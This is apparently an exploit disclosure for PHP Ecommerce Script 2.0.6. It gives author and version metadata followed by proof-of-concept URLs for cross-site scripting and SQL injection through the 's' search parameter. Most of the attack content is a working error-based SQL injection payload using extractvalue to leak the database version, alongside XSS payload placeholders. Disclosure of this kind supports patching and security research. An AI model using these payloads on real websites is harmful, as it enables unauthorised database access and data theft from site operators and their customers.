# Exploit Title: PHP Ecommerce Script 2.0.6 - Cross Site Scripting / SQL Injection # Exploit Author: Mr Winst0n # Author E-mail: manamtabeshekan[@]gmail[.]com # Discovery Date: February 22, 2019 # Vendor Homepage: http://www.phpscriptsmall.com/ # Software Link : https://www.phpscriptsmall.com/product/php-ecommerce-script/ # Tested Version: 2.0.6 # Tested on: Kali linux, Windows 8.1 # PoC: # Cross Site Scripting: # http://localhost/[PATH]/?s=[XSS] # http://localhost/[PATH]/?s= # SQL Injection: # http://localhost/[PATH]/?s=[SQL] # http://localhost/[PATH]/?s=1%20and%20extractvalue(rand(),concat(0x7e,version()))